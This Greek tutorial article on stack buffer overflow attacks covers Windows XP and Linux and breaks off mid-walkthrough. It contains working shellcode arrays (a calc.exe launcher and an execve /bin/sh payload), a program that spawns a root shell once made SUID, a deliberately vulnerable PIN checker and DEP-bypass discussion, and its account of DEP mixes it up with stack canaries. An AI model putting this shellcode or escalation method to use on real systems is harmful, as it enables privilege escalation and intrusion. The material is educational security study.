BETA

Επίθεση Buffer Overflow

Εικόνα AndreasV

Ένα μεγάλο ποσοστό του άρθρου αυτό δημοσιεύτηκε πρώτη φορά στο Total XakeR #10 το 2007. Το υπόλοιπο κείμενο δίνεται για πρώτη φορά.

Από το αξέχαστο, διάσημο, περίφημο και μη εξαιρετέο άρθρο του Aleph, Smashing The Stack For Fun And Profit του respectful Phrack Magazine στις 11/08/1996 μέχρι το heap overflow και το DEP, το συγκεκριμένο είδος επίθεσης είναι ίσως το πιο διαδεδομένο και ίσως το πιο επικίνδυνο ever στην ιστορία των επιθέσεων.  Στο άρθρο αυτό θα κάνουμε μια μικρή αναφορά σε επιθέσεις που βασίζονται στο λεγόμενο “buffer οverflow” ή “buffer οverrun” ή υπερχείλιση της μνήμης! Μην απογοητευτείτε από την έκφραση "μικρή αναφορά" μιας και οι έννοιες και οι γνώσεις που κρύβονται πίσω από τέτοιες επιθέσεις είναι πολλές και θα μπορούσαν να καλύψουν το περιεχόμενο αρκετών... τόμων μιας εγκυκλοπαίδεια.

Εμείς, όμως, θα σας δώσουμε μέσα στα πλαίσια ενός περιεκτικού άρθρου όσα περισσότερα μπορούμε, όσο το δυνατόν πιο απλά και κατανοητά πιστεύοντας οτι στο τέλος θα "φτιαχτείτε", μιας και οι διαθέσεις μας είναι αρκετά... άγριες καθώς σκοπεύουμε να αναλύσουμε την διαδικασία, με δικά μας, πραγματικά παραδείγματα τόσο σε περιβάλλον Windows όσο και σε Linux. Επίσης, θα κάνουμε μια αναφορά στο περίφημο DEP (Data Execution Prevention) που παρουσιάστηκε από την micro$oft για να εμποδίζει τέτοιες επιθέσεις, καθώς και τρόπους και μεθόδους για να το... ξεγελάσουμε.

Η βασικός στόχος μιας τέτοιας επίθεσης είναι να μπορέσει ο επιτιθέμενος να αποκτήσει πρόσβαση στο box του θύματος ή να τρέξει κάποιο, όχι και τόσο αθώο, πρόγραμμα.

Πως όμως το καταφέρνει αυτό???

Βασικές Έννοιες

Ως βασικές έννοιες θεωρώ όλες αυτές που περιγράφονται στο άρθρο «Πως Λειτουργεί ένα Πρόγραμμα», οπότε όσοι νομίζετε ότι κάτι σας λείπει (καθώς διαβάζετε το άρθρο αυτό) καλό είναι να του ρίξετε μια ματιά!

Πως πραγματοποιείται μια επίθεση buffer overflow

Κατά την επίθεση, ο επιτιθέμενος γράφει μια πάρα πολύ μεγάλη σειρά χαρακτήρων σε ένα κομμάτι μνήμης, ας πούμε το Stack. Με αυτόν τον τρόπο κάνει το stack να υπερχειλίσει. Κατά την υπερχείλιση οι χαρακτήρες που... περισσεύουν γράφονται σε άλλα μέρη της μνήμης  που χρησιμοποιούνται για άλλες δουλειές. Ένα από αυτά τα μέρη είναι εκεί που δείχνει ο δείκτης εντολής (EIP)!

Με αυτόν τον τρόπο η επόμενη προς εκτέλεση εντολή μπορεί να αλλάξει σε κάτι που περιέχει η σειρά χαρακτήρων που έδωσε ο επιτιθέμενος, η οποία οποία μπορεί να μην είναι και τόσο... «τυχαία»!

Ένα συχνό είδος επίθεσης Buffer Overflow βασίζετε σε μια ελεγχόμενη υπερχείλιση του buffer με τέτοιο τρόπο ώστε η διεύθυνση που δείχνει ο καταχωριτής EIP να αλλάξει και να έχει μια τιμή οριζόμενη από τον επιτιθέμενο, η οποία δείχνει ένα άλλο κομμάτι κώδικα που κάνει εντελώς άλλα πράγματα από αυτά που θα έκανε το πρόγραμμα αν συνέχιζε κανονικά την ροή του. Αυτό το νέο κομμάτι κώδικα που θα δείχνει ο EIP θα είναι γραμμένο από τον επιτιθέμενο και συνήθως αναφέρεται (π.χ. στα windows) στην εκτέλεση του προγράμματος της γραμμής εντολών, δηλαδή του cmd.exe.

Buffer Overflow σε windows XP

Έστω οτι έχουμε φτιάξει ένα πρόγραμμα για Windows XP και θέλουμε να δοκιμάσουμε κατά πόσο "αντέχει" σε επιθέσεις buffer overflow.
Υπάρχουν διάφορες μέθοδοι.
Μια από αυτές είναι η λεγόμενη επίθεση από command line: Έστω οτι το πρόγραμμα μας είναι γραμμένο σε C και ονομάζεται: thises01.c και είναι το ακόλουθο πάρα πολύ απλό προγραμματάκι που δέχεται σαν παράμετρο ας πούμε το όνομα μας (πχ Thiseas) και μας απαντά «Hello Thiseas»:

#include "stdafx.h"
#include "string.h"
int main(int argc, char *argv[])
{
    char s[12];
    strcpy(s,argv[1]);
    printf("Hello %s\n",s);    
  return 0;
}

To πρόγραμμα αυτό αλλά και όλα που παρουσιάζονται εδώ και αφορούν στα Windows XP, δοκιμάστηκαν σε C++ Visual Studio 2005. Για να δουλέψουν οι εξαιρέσεις πρέπει να ορίσετε τις compiler flags όπως φαίνονται στην εικόνα 4. Τι θα γίνει όμως αν καλέσουμε το πρόγραμμα περνώντας σαν παράμετρο μια λέξη με πάρα πολύ μεγάλο μήκος? Θα προκαλέσουμε άραγε buffer overflow;

Το παράδειγμα εκτέλεσης μαζί με το μήνυμα λάθους φαίνεται στην εικόνα 1:


Εικόνα 1: Μια επίθεση buffer overflow με τα... αποτελέσματά της.

Τι είναι όμως αυτό το '61616161';
Είναι (απ' οτι λέει η περιγραφή) το offset (η μετατόπιση) στην οποία συνέβει το πρόβλημα, δηλαδή είναι η διεύθυνση που "προσπάθησε" να εκτελεστεί κώδικας.... αλλά καθώς φάνηκε η διεύθυνση αυτή (61616161) είναι μια περιοχή που "προστατεύεται" από το λειτουργικό σύστημα ή δεν υπάρχει καν (εξ' ου και το μήνυμα λάθους....)

Χμ.... ενδιαφέρον....
H διεύθυνση offset στα 32bit Windows XP στους επεξεργαστές Intel Pentium 4 είναι 4 bytes.
Άρα το 61616161 είναι μια διεύθυνση 4 bytes,....
δηλαδή 61 61 61 61

Σας θυμίζει κάτι το 61?..... εμένα μου θυμίζει τον 16δικό αριθμό ASCII για τον χαρακτήρα 'a'

'a';;;
Μα ναι, αυτόν που έδωσα στην command line!!!
Ωραία...
Που όμως ακριβώς συμβαίνει αυτό? Σε ποια θέση της σειράς aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ;

Εδώ θα κάνουμε ένα πολύ γνωστό trick: Εφόσον πρόκειται για 4 bytes τότε θα δώσουμε την command line ανα 4 bytes....

c:> thiseas01 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj



Εικόνα 2: Βρίσκοντας την θέση που... «σκάει».
 

Δώστε βάση στην εικόνα 2.Χμ..... "έσκασε" στο 65.....
Τι είναι το 65?
Είναι το 16δικό ASCII του 'e'     wink

Άρα το πρόγραμμα σκάει στο 'eeee':

c:> thiseas01 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj

Aπο το 17o byte και τα τα  4 επόμενα bytes.

Δηλαδή ο EIP δείχνει στο 17ο χαρακτήρα (byte).

Ωραία.... δηλαδή αν δώσω και το παρακάτω

c:>thiseas01 aaaabbbbccccddddeeee

θα πάρω ακριβώς το ίδιο “κακό” αποτέλεσμα!!!

Χμ.... ας δοκιμάσω και κάτι άλλο (εικόνα 3):

c:>thiseas01 aaaabbbbccccdddd1234


Εικόνα 3: Ψάχνοντας την διεύθυνση...


Προσέξτε το αποτέλεσμα στο offset:
34 33 32 31 δηλαδή 4321....
κάπως.... ανάποδα σε σχέση με αυτό που δώσαμε (1234)!!! εεεε;;;;
Μήπως σας θυμίζει...... δομή στοίβας? (stack data structure) χε χε... μα βέβαια!
Μην το ξεχνάτε αυτό!!! η διεύθυνση στα bytes στις θέσεις 17-20 πρέπει να δίνεται.... ανάποδα σε σχέση με αυτήν που δίνουμε στην command line!!

Τι σημαίνει αυτό?
Σημαίνει απλά οτι αν δώσουμε
 

c:>thiseas01 aaaabbbbccccdddd5387

και το 7835 (είπαμε ανάποδα!!) αντιπροσωπεύει μια 16δική "νόμιμη..." διεύθυνση με κώδικα δικό μας.... τότε θα εκτελεστεί αυτός ο κώδικας κατευθείαν.....!!

Παράδειγμα με εκτέλεση συγκεκριμένου κώδικα θα δώσουμε λίγο παρακάτω μιας και απαιτεί κάποια tricks, όπως Shell scripting και Operation Codes, που θα περιγράψουμε παρακάτω, σ’ ένα πιο advanced παράδειγμα που σχετίζεται με το linux αλλά και όταν αναφερθούμε στο DEP (Data Execution Prevention) της Μicro$oft.

Για τους πολύ ανήσυχους που αναρωτιούνται γιατί συμβαίνει το overflow στη θέση 17 (στο 17ο byte) μπορούμε να απαντήσουμε συνοπτικά, μιας και μια λεπτομερής περιγραφή ξεφεύγει από τον στόχο αυτού του άρθρου: Οι πρώτες 16 θέσεις δεσμεύονται από την μεταβλητή s η οποία είναι μεν 12 bytes αλλά στην μνήμη καταλαμβάνονται αναγκαστικά  κομμάτια των τεσσάρων bytes. Οι επόμενες 4 θέσεις είναι ο base pointer. Μετά τον base pointer είναι η τιμή του EIP! Αυτή που μας ενδιαφέρει... στην 17η θέση.

Για τον Base Pointer τώρα....

Κάθε συνάρτηση σε κάθε πρόγραμμα (ακόμα και η main() σε ένα πρόγραμμα C) έχει το δικό της χώρο μεταβλητών στο stack. Αυτός ο χώρος ονομάζεται Stack Frame (θεωρούμε οτι είναι άσκοπο να προσπαθήσουμε να μεταφράσουμε τέτοιες λέξεις εφόσον θεωρούνται πια ορισμοί). Το Stack Frame είναι μια λογική ομάδα από θέσεις μνήμης στο stack που κρατούνται όλες οι διευθύνσεις των μεταβλητών που ανήκουν στη συνάρτηση που εκτελείται εκείνη τη στιγμή. Κάθε διεύθυνση μέσα στο stack frame είναι η σχετική διεύθυνση με βάση το τρέχων Stack Frame. Και που στο καλό θα ξέρουμε ποιο είναι το τρέχον Stack Frame? Αυτό καταχωρείται στον καταχωριτή EBP (στον Base Pointer).


Εικόνα 4: Πρέπει να σετάρετε ανάλογα τις flags του compiler για να ενεργοποιηθούν οι εξαιρέσεις (exceptions).

 

DEP (Data Execution Prevention)

Το λεγόμενο Data Execution Prevention είναι μια παλαιά τεχνική που έχει τις ρίζες της στην 10ετία του 1970 και στην μητέρα όλων των μαχών... εεε sorry όλων των λειτουργικών συστημάτων ήθελα να πω: Το Unix. H τεχνική αυτή είτε με software είτε με hardware (αρκεί να το υποστηρίζει ο επεξεργαστής σας) «προστατεύει» τον υπολογιστή μας από την εκτέλεση «πονηρού» κώδικα. Εφαρμόστηκε στα windows XP και τα μεταγενέστερα λειτουργικά της micro$oft.

Για να δείτε αν την έχετε ενεργοποιημένη στα XP πατήστε δεξί click στο MyComputer μετά properties. Μετά πατήστε το TAΒ advanced και εκεί που λέει performance πατήστε το  button [Settings]. Μόλις ανοίξει το Performance Options πατήστε το TAB “Data Execution Prevention”... Ούφ... χειρότερο μέρος δεν είχανε να το κρύψουν;;; (Εικόνα 5)


Εικόνα 5: «Ανακαλύπτοντας» το Data Execution Prevention.

 

Πως λειτουργεί όμως η τεχνική προστασίας?

Σε κάθε πρόγραμμα που τρέχει, το DEP χρησιμοποιεί μια ηλεκτρονική υπογραφή την οποία φυλάει σε δύο σημεία: Στο stack segment (εκεί δηλαδή που παίζεται όλο το παιχνίδι όταν τρέχει το πρόγραμμα) και στο data segment του εκτελέσιμου αρχείου (εκεί που κρατά τα δεδομένα). H θέση που μπαίνει η υπογραφή στο stack έχει σημασία: Μπαίνει ακριβώς πριν την διεύθυνση που δείχνει ο EIP, οπότε αν κάποιος προσπαθήσει να γράψει επάνω σε αυτήν με buffer overflow, θα αλλάξει αναγκαστικά και την υπογραφή.

Αν σε μια κλήση στο stack η υπογραφή αυτή δεν είναι η ίδια σε σχέση με αυτήν που αρχικά φύλαξε στο .data segment τότε μάλλον κάποιος έγραψε επάνω σε αυτήν προσπαθώντας με overflow να αλλάξει το EIP... οπότε το πρόγραμμα διακόπτεται θεωρώντας οτι έχει υποστεί μια επίθεση buffer overflow.

Επίσης, θα πρέπει να αναφέρουμε οτι η τεχνική αυτή δεν επιτρέπει να «τρέξει» κώδικας (π.χ. βλέπε Shell code – πιο πάνω)  από το stack... διότι «θεωρεί» οτι δεν έχει καμιά "δουλειά" εκεί ένας εκτελέσιμος κώδικας. Τα τελευταίο, πράγματι, αποτελεί εμπόδιο σε κάποιον που προσπαθεί να εκτελέσει Buffer Overflow με τους παραδοσιακούς παλιούς «καλούς» τρόπους.

Αέσως τώρα θα δούμε δυο προγράμματα που πραγματοποιούν buffer overflow. Το πρώτο (Πρόγραμμα 1), μόλις κάνει το overflow καλεί ένα εξωτερικό πρόγραμμα (το calc.exe) το γνωστό calculator των windows. Το εξωτερικό πρόγραμμα (το calculator) δεν θα τρέξει αν είναι ενεργοποιημένο το DEP.

Το δεύτερο πρόγραμμα (Πρόγραμμα 2) απλά αλλάζει την διεύθυνση που δείχνει ο EIP σε μια άλλη διεύθυνση μέσα στον κώδικα του ίδιου του προγράμματος. Εδώ το DEP δεν μπορεί να κάνει κάτι... μιας και από απ’οτι ισχυρίζεται και η ίδια η Μicro$oft δεν είναι αυτή η λειτουργία του: To DEP δεν μπορεί να γνωρίζει αν η ανακατεύθυνση του EIP έγινε ηθελημένα από το πρόγραμμα (πχ από μια εντολή JMP) ή έγινε κακόβουλα...

Το μήνυμα που θέλουμε να περάσουμε εδώ είναι οτι μετά την ανακατεύθυνση μπορούμε να «στείλουμε» την διαδικασία σε όποια διεύθυνση βρίσκετε εκείνη την στιγμή στην μνήμη είτε ανήκει στην τρέχον πρόγραμμα είτε (ακόμα χειρότερα) δεν ανήκει (δες σχετική ανάλυση) διότι στο σημείο αυτό δεν γίνεται κάποιος έλεγχος.

/*
*   Πρόγραμμα 1
*/
#
include "stdafx.h"
#include
#include
#include

unsigned char shell_calculate[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf1"
"\xe9\x74\x64\x83\xeb\xfc\xe2\xf4\x0d\x01\x30\x64\xf1\xe9\xff\x21"
"\xcd\x62\x08\x61\x89\xe8\x9b\xef\xbe\xf1\xff\x3b\xd1\xe8\x9f\x2d"
"\x7a\xdd\xff\x65\x1f\xd8\xb4\xfd\x5d\x6d\xb4\x10\xf6\x28\xbe\x69"
"\xf0\x2b\x9f\x90\xca\xbd\x50\x60\x84\x0c\xff\x3b\xd5\xe8\x9f\x02"
"\x7a\xe5\x3f\xef\xae\xf5\x75\x8f\x7a\xf5\xff\x65\x1a\x60\x28\x40"
"\xf5\x2a\x45\xa4\x95\x62\x34\x54\x74\x29\x0c\x68\x7a\xa9\x78\xef"
"\x81\xf5\xd9\xef\x99\xe1\x9f\x6d\x7a\x69\xc4\x64\xf1\xe9\xff\x0c"
"\xcd\xb6\x45\x92\x91\xbf\xfd\x9c\x72\x29\x0f\x34\x99\x19\xfe\x60"
"\xae\x81\xec\x9a\x7b\xe7\x23\x9b\x16\x8a\x15\x08\x92\xc7\x11\x1c"
"\x94\xe9\x74\x64";

void f(int , int , int ) ;

int _tmain(int argc, _TCHAR* argv[])
{
      printf("Starting...\n");

      f(1,2,3);
      printf("Hello!\n");
      printf("Kateu8eian edw!\n");
      exit(0);
      return 0;
}

void f(int a, int b, int c) {
   char buffer1[6]; // 4+4 = 8 bytes + 8 bytes (base pointer) = 12
   int *ret;
   ret = (int *) (buffer1 + 12);    //deixnei sto return address ths function.
   (*ret) = (long)shell_calculate;  //allagh ths address se kati allo:
                                    //tin address ths printf("Kateu8eian
                                    //edw!\n");

}

 

Η function f(int a, int b, int c) αλλάζει την τιμή της διεύθυνσης που δείχνει ο καταχωρητής EIP πραγματοποιώντας ένα κατευθηνόμενο CALL στο script που τρέχει το calculator (Εικόνα 6).


Εικόνα 6: «Εσωτερική» Επίθεση buffer overflow se windows XP.

 

Στην περίπτωση μας τρέχουμε το calculator. Φυσικά σε μια πραγματική επιθεση θα έτρεχε κάτι πιο «επίσημο» και ... κατάλληλο για την περίσταση! Το παραπάνω πρόγραμμα (όπως ήδη είπαμε) αν το τρέξουμε με ενεργοποιημένο το DEP δεν θα τρέξει το calculator.

Ας δούμε όμως το πρόγραμμα 2, που είναι μια τροποποιημένη έκδοση του προγράμματος 1:

/*
* Πρόγραμμα 2
*/
#include "stdafx.h"
#include
#include
#include

void f(int , int , int ) ;

int _tmain(int argc, _TCHAR* argv[])
{
    printf("Starting...\n");
    f(1,2,3);
    printf("Hello!\n");
    printf("Kateu8eian edw!\n");
    exit(0);

    return 0;

}

void f(int a, int b, int c) {
   char buffer1[6];
   char buffer2[10];
   int *ret;
   ret = (int *) (buffer1 + 24); // Deixnei sto return address ths function.
   (*ret) = 0x0040102d;          // Allagh ths address se kati allo:
                                 // tin address ths printf("Kateu8eian edw!\n");

}

Απ’ οτι βλέπετε εδώ δεν τρέχουμε κάποιο εξωτερικό πρόγραμμα αλλά ανακατευθύνουμε την επιστροφή της function f() στην εντολή printf("Kateu8eian edw!\n");
Αν το παραπάνω πρόγραμμα το εκτελούσαμε κανονικά (χωρίς ανακατεύθυνση) θα έδειχνε:

c:>Starting...

c:>Hello!

c:>Kateu8eian edw!

Όμως η function f(int a, int b, int c) αλλάζει την τιμή της διεύθυνσης που δείχνει ο καταχωριτής EIP πραγματοποιώντας ένα κατευθυνόμενο JMP ή Goto υπερπηδώντας της εντολή printf("Hello!\n");

Έτσι αν τρέξει το πρόγραμμα θα δούμε:

c:>Starting...

c:>Kateu8eian edw!

 

Προσοχή: Η τελευταία εντολή του προγράμματος

(*ret) = 0x0040102d;

κάνει ανακατεύθυνση του EIP. Εδώ η διεύθυνση 0x0040102d είναι η διεύθυνση της εντολής

printf("Kateu8eian edw!\n");

Αυτή η διεύθυνση δεν είναι πάντα η 0x0040102d. Αν θέλετε να δοκιμάσετε κι εσείς το προγραμματάκι πρέπει να την βρείτε μόνοι σας... ;-)

Το παραπάνω πρόγραμμα τρέχει πάντα! Ανεξάρτητα αν έχουμε ενεργοποιημένο το DEP ή όχι!

Δεν είναι κανένα σπουδαίο Exploit (πολλοί μάλιστα {και σωστά} δεν θα το θεωρήσουν καν exploit). Μα φυσικά δεν είναι! Ούτε και αυτός είναι ο σκοπός του! Στο άρθρο αυτό δεν δίνουμε exploits. Πιστέψτε μας,... θα μας ήτανε πολύ εύκολο. Αυτό που έχουμε στο μυαλό μας, όμως, είναι να δώσουμε συγκεκριμένα τον τρόπο που μπορεί να ξεπεραστεί το DEP αλλά και γενικότερα να δίνουμε το έναυσμα για περαιτέρω διάβασμα με απώτερο σκοπό, τι άλλο, την γνώση.

Buffer Overflow σε Linux (part I)

Κατά αντιστοιχία με το προηγούμενο παράδειγμα θα δώσουμε ένα πρόγραμμα σε Linux το οποίο θα πραγματοποιήσει μια επίθεση (Exploit) με buffer overflow.

Πριν προχωρήσουμε όμως στο «ψητό» θα πρέπει να ξεκαθαρίσουμε μερικά βασικά θέματα. Ένα από αυτά είναι το suid. Suid είναι μια ένδειξη που έχει ένα εκτελέσιμο πρόγραμμα και δείχνει πως όταν τρέξει αυτό το πρόγραμμα, θα τρέξει με διακαιώματα διαχειριστή, ανεξάρτητα αν αυτός που το έτρεξε είναι απλός χρήστης, διαχειριστής ή οτιδήποτε άλλο. Μόλις όμως τελειώσει η εκτέλεση του, θα επανέλθουν τα δικαιώματα που είχε ο χρήστης που το κάλεσε.

Ένα άλλο θέμα πολύ σημαντικό θέμα είναι, όχι μόνο στο linux, το πως θα μπορούσαμε να εκτελέσουμε κώδικα μέσα από το πρόγραμμά μας. Δηλαδή, αυτό που θέλουμε είναι να κάνει το πρόγραμμά μας είναι να καλέσει το Shell Command (την γραμμή εντολών) του λειτουργικού συστήματος έτσι ώστε να μπορούμε να εκτελέσουμε όποια εντολή επιθυμούμε (καλά... όχι όποια επιθυμούμε αλλά όποια μας επιτρέπουν τα δικαιώματα που εχουμε σαν χρήστες).

Το να εκτελέσουμε κώδικα μέσα από κώδικα (στο πρόγραμμα μας) δεν είναι και τόσο απλό. Βέβαια, ως συνήθως, υπάρχουν τρόποι να το κάνουμε απλό. Πριν πάμε όμως στους τρόπους, ας εξηγήσουμε καλύτερα τι ακριβώς θέλουμε: Αυτό που επιδιώκουμε είναι να έχουμε καταχωρημένες κάπου τις εντολές που καλούν (ας πούμε) το Linux Shell ακριβώς στην μορφή που μεταφράζονται στην μνήμη του υπολογιστή. Δηλαδή? Σε δυαδική μορφή? Χμ.... περίπου: Ένα συνδυασμό 16δικών και χαρακτήρων! Π.χ. μια σειρά 16δικών αριθμών και χαρακτήρων όπως αυτή:

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"

Μόλις η παραπάνω εντολή εκτελεστεί σε λειτουργικό Linux θα προκαλέσει την κλήση του command shell.

Τέτοιες σειρές χαρακτήρων μπορούμε να «κατασκευάσουμε» για οποιοδήποτε λειτουργικό σύστημα θέλουμε. Υπάρχει ο εύκολος τρόπος και ο δύσκολος τρόπος,... Διαλέγετε και παίρνετε. Η διαδικασία αυτή ονομάζεται shell scripting και οι εντολές που βλέπουμε σε 16δική μορφή είναι τα περίφημα 16αδικά OpCodes (Operation Codes).

Ας επανέλθουμε τώρα στον αρχικό μας στόχο. Το exploit στο Linux: Αν καταφέρουμε να διακόψουμε την ομαλή ροή ένός προγράμματος Suid με μη ορθόδοξο τρόπο είναι πολύ πιθανόν, όταν το πρόγραμμα διακοπεί, να παραμείνουν τα διακαιώματα διαχειριστή που (όπως είπαμε) έχει αυτό το πρόγραμμα. Έτσι, αν ταυτόχρονα με την διακοπή τρέχαμε και μια εντολή όπως η παραπάνω (Shell Command) θα αποκτούσαμε γραμμή εντολών με δικαιώματα διαχειριστή!! Οτι καλύτερο για να πούμε οτι το box είναι πλέον owned (βλέπε «Η Πόλις Εάλω»)!

Το παρακάτω πρόγραμμα μόλις τρέξει χρησιμοποιεί την τεχνική Buffer Overflow για να "σηκώσει" ενα unix shell. Βέβαια, δεν είναι root shell αλλά ίσως θα... μπορούσε... (με λιγο... SUIDing).

Ο κώδικας είναι ο παρακάτω:

/*
* Simple Buffer Overflow
* Operating System : Linux
* Compiler: gcc version 4.0.2 20050808 (prerelease) (Ubuntu 4.0.1-4ubuntu9)
*
* (c) By Thiseas 2300px
*
***************************/
#include
#include
char shellaki[45] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char bufferara[128];
int main(int argc, char **argv){
    char bufferaki[32];
    int i;
    long *p = (long *) bufferara;
    for(i=0; i<32; i++)

        *(p + i) = (int) bufferaki;
        for (i = 0; i < (int) strlen(shellaki); i++)
            bufferara[i] = shellaki[i];
    strcpy(bufferaki, bufferara);      // Pwpw!! twra 8a ginei to overflow...
    return 0;
}

 

ΑΝΑΛΥΣΗ

Δώστε βάση στο

char shellaki[45] =

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

περιέχει την κλήση του κώδικα του Unix Shell. Οι αριθμοί που βλέπεται είναι σε 16δική μορφή και είναι.. κώδικας.

 

Επίσης, στο 1ο loop

for(i=0; i<32; i++)

        *(p + i) = (int) bufferaki;

η bufferara γεμίζει με 4-byte words (4*32=128) που περιέχει την διεύθυνση του bufferaki που ειναι αυτό πού θέλουμε να κάνουμε την υπερχείληση (overflow).

 

Μετά, στο 2ο loop

for (i = 0; i < (int) strlen(shellaki); i++)

         bufferara[i] = shellaki[i];

το shellaki αντιγράφεται μέσα στην bufferara. Μετά την αντιγραφή η bufferara περιέχει:

  • Θέση 0...44  : Το Linux Shellcode
  • Θέση 45...127: Την διεύθυνση του bufferaki(ου) που θέλουμε να... "χαλάσομεν" ;-)
  • Τέλος καλούμε την "ατυχή" συνάρτηση strcpy που μας κάνει την... "δουλειά"!!

Καθώς η function main() επιστρέφει (αφού τελειώσει το πρόγραμμα), οι εντολές που έχουμε βάλει στο bufferaki θα εκτελεστούν διότι η διεύθυνση επιστροφής του προγράμματος έχει αλλάξει από την υπερχείλιση που προκαλέσαμε και τώρα περιέχει ένα δείκτη στο... bufferaki. Οπότε αντι να επιστρέψει στο λειτουργικό σύστημα, θα επιστρέψει στο... bufferaki  angel

 

Πως κάνουμε το SUID:

Έστω οτι το παραπάνω πρόγραμμα λέγεται bufov1.c

Κάνουμε compile:

$ gcc bufov1.c -o bufov1

 

και... SUID it (θέλει admin rights):

$ su

password: ******

# chown root.root bufov1

# chmod u+s bufov1

# exit

 

Τρέχουμε τώρα το πρόγραμμα...

$ ./bufov1

# _

 

και.... καλώς ήλθατε στο root... devil

 

Buffer Overflow σε Linux (part II)

Η επίθεση που θα παρακολουθήσετε έχει δοκιμαστεί με επιτυχία σε Fedora 12 και Fedora 13.  Έστω οτι έχουμε ένα πρόγραμμα το οποίο δέχεται σαν παράμετρο το PIN του χρήστη και αν αυτό είναι κάποιο αναμενόμενο τότε εμφανίζονται κάποια απόρρητα προσωπικά οικονομικά στοιχεία του χρήστη. Το πρόγραμμα αυτό θα το φτιάξουμε εμείς. Επειδή όμως εμείς ως προγραμματιστές είμαστε λίγο... αφηρημένοι δεν προστατεύσαμε όσο έπρεπε το πρόγραμμα μας, το οποίο πάσχει από μια αδυναμία buffer overflow.

Καθαρά για λόγους επάρκειας σας παραθέτουμε τον κώδικα του προγράμματος μας:

int process_data(char *userdata)
{
            char data[10];
            strcpy(data, userdata);
            printf("Checking.\n");
            if (!strcmp(userdata,"12345"))
                        return 1;
            else
                        return 0;
}
main(int argc, char *argv[])
{
            if (!process_data(argv[1])){
                        printf("Wrong pass!\n");
                        return 1;
            }
            printf("Password success!\n");
            printf("Your PIN is         : 2133212312\n");
            printf("Your personal id is : 123\n");
            printf("Secret Info End\n");
            printf("Bye now.\n");
            return 0;
}

 

Σε γενικές γραμμές, ο πηγαίος κώδικας δεν μας είναι απαραίτητος για να βρούμε και να εκμεταλλευτούμε μια αδυναμία buffer overflow. Σας τον παραθέτουμε όμως αφενός για να κάνετε κι εσείς τις δικές σας δοκιμές και αφετέρου για να σας δείξουμε που ακριβώς βρισκόταν το σφάλμα μας, ώστε να μην το επαναλάβετε κι εσείς.

Όταν τρέξουμε το παραπάνω πρόγραμμα (μια φορά με σωστό και μια με λάθος PIN) θα λάβουμε τα αποτελέσματα που βλέπετε στην εικόνα 7.


Εικόνα 7: Το πρόγραμμα μας με σωστό και με λάθος κωδικό PIN

 

Αρχίζουμε τώρα να σκεφτόμαστε πονηρά: Χμ... δίνουμε μια παράμερο στο πρόγραμμα την οποία την χρησιμοποιεί. Είναι προστατευμένη; Μήπως ο προγραμματιστής έχει ξεχάσει να ελέγξει το μήκος της; Για να δουμε...

Ο πρώτη και βασική κίνηση που κάνει κάποιος για να ελέγξει αν το πρόγραμμα του πάσχει από αδυναμία buffer overflow, είναι να το... “ταΐσει” με παραμέτρους πολύ μεγάλου μήκους και να ελέγξει μετά την συμπεριφορά του. Δίνουμε λοιπόν σαν παράμετρο πενήντα άσσους:

./vuln 11111111111111111111111111111111111111111111111111

τα αποτελέσματα φαίνονται στην επόμενη εικόνα.


Εικόνα 8: Το πρόγραμμα είναι λίγο... αδύναμο σε μεγάλες παραμέτρους!

 

Μόλις εισπράξαμε ένα μεγαλοπρεπέστατο “Segmentation Fault”, πράγμα που σημαίνει οτι  παρουσιάστηκε μια εξαίρεση στο πρόγραμμα που δεν μπόρεσε το ίδιο να την διαχειριστεί. Η πιθανότητα να υπάρχει buffer overflow εδώ αυξάνει... εκθετικά! Ήρθε η ώρα να “λερώσουμε” λίγο τα χέρια μας μπαίνοντας στα ενδότερα του εκτελέσιμου. Για όσους ενδιαφέρονται να δοκιμάσουν με τα ίδια τους τα μάτια όσα γράφουμε εδώ, να πούμε οτι μεταγλωττίσαμε το πρόγραμμα μας με τις εξής παραμέτρους:

gcc vuln.c -mpreferred-stack-boundary=2 -ggdb -o vuln

όπου

-mpreferred-stack-boundary=2
οι τιμές των παραμέτρων γίνονται aligned (ευθυγραμμίζονται) στο όριο των 4ων bytes.

-ggdb       Για να έχουμε πληροφορίες από τον debugger.

Ας εκτελέσουμε το πρόγραμμα με τον gdb debugger για να δούμε τι ακριβώς συμβαίνει στο παρασκήνιο. Μπαίνουμε στον debugger δίνοντας από γραμμή εντολών: gdb -q vuln (εικόνα 9). Δίνουμε αμέσως disas main για να δούμε τον assembly κώδικα (ή για άλλους τον εκτελέσιμο κώδικα) της συνάρτησης main. Παρατηρήστε την γραμμή που περιέχει την εντολή
. Εδώ γίνεται η κλήση της συνάρτησης. Επομένως η αντίστοιχη return address θα πρέπει να αποκτήσει την τιμή της επόμενης εντολής, δηλαδή την 0x08048483. Κρατήστε αυτόν τον 16δικό αριθμό διότι όπως θα δείτε θα μας χρειαστεί παρακάτω.


Εικόνα 9: Εκτελούμε το πρόγραμμα μας με τον gnu debugger για να δούμε τι "τρέχει"...

 

Να τονίζουμε πως αν δοκιμάσετε κι εσείς να κάνετε το ίδιο στο δικό σας box (πράγμα το οποίο προτείνουμε με μεγάλη θέρμη), το πιθανότερο είναι να μην βλέπετε τις ίδιες ακριβώς διευθύνσεις που βλέπουμε κι εμείς. Η λογική όμως, είναι ακριβώς η ίδια.

Πάμε τώρα να μελετήσουμε τον κώδικα της συνάρτησης process_data και να βάλουμε δύο breakpoints ώστε να παρακολουθήσουμε την ροή του προγράμματος μέσα από αυτήν (εικόνα 10).


